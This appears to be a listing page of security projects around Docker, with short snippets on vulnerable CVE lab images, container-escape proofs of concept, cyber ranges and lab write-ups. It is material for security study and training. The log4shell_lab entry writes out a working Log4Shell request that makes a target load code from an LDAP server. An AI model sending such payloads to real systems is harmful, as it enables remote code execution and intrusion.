cve-2019-5420

CVE-2019-5420 Esto es parte de Cved: una herramienta para gestionar contenedores Docker vulnerables. Cved: https://github.com/git-rep-src/cved Fuente de la imagen: https://github.com/cved-sources/cve-2019-5420 Autor de la imagen: https://github.com/knqyf263/CVE-2019-5420...

blackboxprotobuf

Blackbox Protobuf Blackbox Protobuf now has an official package on PyPi under the namebbpb. The blackboxprotobuf package is an older fork Description Blackbox Protobuf is a set of tools for working with encoded Protocol Buffers protobuf without the matching protobuf definition. Protobuf is a bina...

go-pillage-registries

go-pillage-registries 该项目会获取一个 Docker 注册表，并对其目录中每个镜像的 manifest 和 configuration 进行掠夺。 它使用 Google 的 crane 命令包，该包应遵循 Docker 的 keychain 语义。 如果你想覆盖此行为，只需按照 https://github.com/google/go-containerregistry/tree/master/pkg/authn/k8schain 中的描述更改 authn.DefaultKeychain 即可。 安装： root@kitploit: git clone...

cve-images

cve-images — 故意设计有漏洞的实验镜像 一个用于在隔离实验室中进行安全研究的故意设计有漏洞 的Docker镜像集合。最初是nginx CVE复现，现已扩展为更广泛的故意设计有漏洞的镜像集（例如DVWA）。 ⚠️ 安全性 这些镜像是 故意 存在漏洞的。其中一个nginx CVE（CVE-2026-42945）正在被野外利用。仅在隔离/本地网络上运行。切勿部署到公共主机，也切勿将它们当作生产镜像发布。每个镜像都带有 lab.vulnerable=true 标签及相应的说明。 nginx CVE 镜像 所有镜像均构建于一个共享基础镜像之上，该镜像从源代码编译 nginx 1.30.0...

VulApps

VulApps http://vulapps.evalbug.com/ 收集各种漏洞环境，为方便使用，统一采用 Dockerfile 形式。同时也收集了安全工具环境。 喜欢请点 Star，如果不打算贡献，千万别 Fork 本项目 GitHub 地址: https://github.com/Medicean/VulApps DockerHub 在线镜像地址 获取并使用相关镜像 直接使用 docker 命令拉取相关镜像，并启动。 需要查看相关环境的 tag 在Github具体的漏洞目录下查看 README 文件 以 Struts2 S2-037 漏洞环境为例： 通过 S2-037漏洞环境的...

CVE-2025-9074-docker-escape

CVE-2025-9074-Docker Escape HTB MonitorsFour 此代码仅用于教育目的和实验室环境（如 Hack The Box）。未经授权不得在系统上使用。 此仓库包含一个针对 Docker Remote API 暴露漏洞（无认证）的利用脚本，该漏洞允许通过创建特权容器实现容器逃逸到宿主机。 该漏洞是在解决 Hack The Box 平台上的 MonitorsFour 机器时被发现的。 攻击者可以： 创建任意容器 在宿主机上执行命令 挂载宿主机文件系统 / 完全提升权限 利用基于： 对 tcp/2375 上未认证的 Docker API 的访问...

log4shell_lab

log4shell 漏洞利用实验室 本仓库提供一行命令即可搭建 log4shell 漏洞利用实验室。 搭建实验室：docker-compose up -d 运行漏洞利用：curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 然后进入 vul 容器，你会看到我们确实已经控制了该机器： 解释实验室搭建的视频：https://www.youtube.com/watch?v=WBzR30JcT5g...

FORT-validator

FORT Validator Un Relying Party de RPKI y servidor RTR. Documentación Inicio Instalación Uso Argumentos Imagen de Docker Consulte el directorio docker/...

GoCD_PoC_Supply_Chain_Attack

GoCD 20.10.0 — PoC: CVE-2021-43287 · CVE-2021-43288 · CVE-2021-43289 · CVE-2021-43290 Autor / Author: Higor Farias — PRIDE Security ⚠️ AVISO LEGAL / LEGAL DISCLAIMER PT Material produzido exclusivamente para fins educacionais e de pesquisa em segurança ofensiva. Utilize somente em ambientes...

CVE-2025-9074-Docker-Desktop-Container-Escape

CVE-2025-9074：Docker Desktop 容器逃逸 PoC CVE-2025-9074 的概念验证利用程序——Docker Desktop 中的一个严重容器逃逸漏洞，允许未授权访问 Docker Engine API。 漏洞概述 属性| 值 ---|--- CVE ID| CVE-2025-9074 CVSS 评分| 9.3（严重） 受影响软件| Docker Desktop 4.44.3 受影响平台| Windows、macOS（Linux 不受影响） 修复版本| Docker Desktop 4.44.3+ 发现者| Felix Boulet、Philippe Dug...

HTTP-2-RapidReset-CVE-2023-44487-Testlab

这个仓库是我的 Docker 实验的源代码，是为我的论文研究而制作的。...

CVE-2017-5638-Attack-and-Defense

Apache Struts2 S2-045 防御与利用实验环境 基于 Docker 的安全实验环境，演示 Apache Struts2 S2-045 漏洞（CVE-2017-5638）的利用 与防御 。该实验环境包含： 1. 脆弱应用 ：Struts 2.3.31（存在 S2-045 漏洞）用于利用演示 2. 防御实验环境 ：Struts 6.3.x（已修补）配合 WAF 防护，用于防御训练 ⚠️ 安全警告 ：本实验环境包含可工作的漏洞利用程序 和脆弱代码 。请仅在隔离环境中使用。切勿暴露到公共网络。 架构概览 root@kitploit:...

CVE-2025-34159

CVE-2025-34159：Coolify 中的 Docker Compose 注入漏洞 漏洞概述 字段| 值 ---|--- CVE 标识符| CVE-2025-34159 影响范围| Coolify ≤ v4.0.0-beta.420.6 修复版本| v4.0.0-beta.420.7 严重性| 严重 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78（操作系统命令注入）、CWE-20（输入验证不恰当） 执行摘要 Coolify...

neko-master

Neko Master Ve el tráfico de tu red con claridad. Monitoreo en tiempo real · Auditoría de tráfico · Soporte multi-gateway English | 中文 !IMPORTANT Aviso legal Este proyecto es una herramienta de análisis y visualización de tráfico para entornos de gateway locales. No proporciona ningún servicio de...

cve-2025-57819-freepbx-range

CVE-2025-57819 FreePBX Cyber Range Cyber-range educativo aislado para CVE-2025-57819 CWE-89, CWE-288. Aplicación de entrenamiento compatible con FreePBX original — no es el FreePBX oficial de Sangoma. Inicio rápido root@kitploit: git clone...

poc-redis

Para ejecutar el exploit, extraiga el ZIP adjunto y siga estos pasos en Linux: 1. Configure un virtualenv/instale el cliente de Redis root@kitploit: $ python3 -m venv .venv $ source .venv/bin/activate $ pip install -r requirements.txt 2. En otra terminal, ejecute la imagen docker de Redis O...

WSGoat

WebSocket GOAT Una aplicación WebSocket deliberadamente vulnerable y dockerizada, diseñada para aprender y practicar pruebas de seguridad en WebSocket en un entorno controlado. El laboratorio implementa una aplicación web realista con autenticación, mensajería privada, perfiles de usuario y...

CVE-2025-9074

CVE-2025-9074 – Windows 与 macOS 上 Docker Desktop 的完整 Docker 逃逸 📌 描述 Docker Desktop 将内部 Docker 引擎 API http://192.168.65.7:2375 暴露给 任何 正在运行的容器——没有身份验证，也没有访问控制 。 由于引擎本身可以挂载宿主机文件系统，容器可以调用此 API 来创建一个绑定挂载宿主机驱动器的容器 ，然后利用该容器读写宿主机上的任意文件 ——实现完整的容器到宿主机逃逸。 📝 参考资料 CVE-2025-9074 记录 Docker Desktop 发布说明（已在 4.44....

CVE-2018-7600

LAB 9-CVE-2018-7600 I. 系统分析 识别攻击面 首先列出正在运行的容器： docker ps 从 docker ps 的结果中，该实验室的容器是： p1/lab09:latest 该容器暴露的端口是： 0.0.0.0:8011-80/tcp 这表明容器内的服务正在监听 80/tcp 端口，并映射到主机的 8011 端口。 80/tcp 端口是 HTTP 的标准端口。因此，这个目标实验室极有可能是一个 HTTP Web 应用程序。为了确认 Web 服务，我使用 curl 结合访问网页的 GUI 发送一个 HTTP 请求。 curl -i...

CVE-2017-11610

实验 3- CVE-2017-11610 一、系统分析 从 Docker 环境识别攻击面 从环境中正在运行的内容开始。我列出所有活动容器： docker ps-a root@kitploit: 受害者仅暴露了一个端口：9001。 端口 9001 并非标准的 Web 应用。查阅端口数据库可知，该端口可能与 Supervisord（根据 IANA 的命名，即 ETL 服务管理器）、Tor 代理或其他某些内部服务相关联。然而，我们不能仅凭端口号就得出结论。 ⇒ 我直接使用 curl 读取响应，并访问 Web GUI 以收集更多信息 curl -i...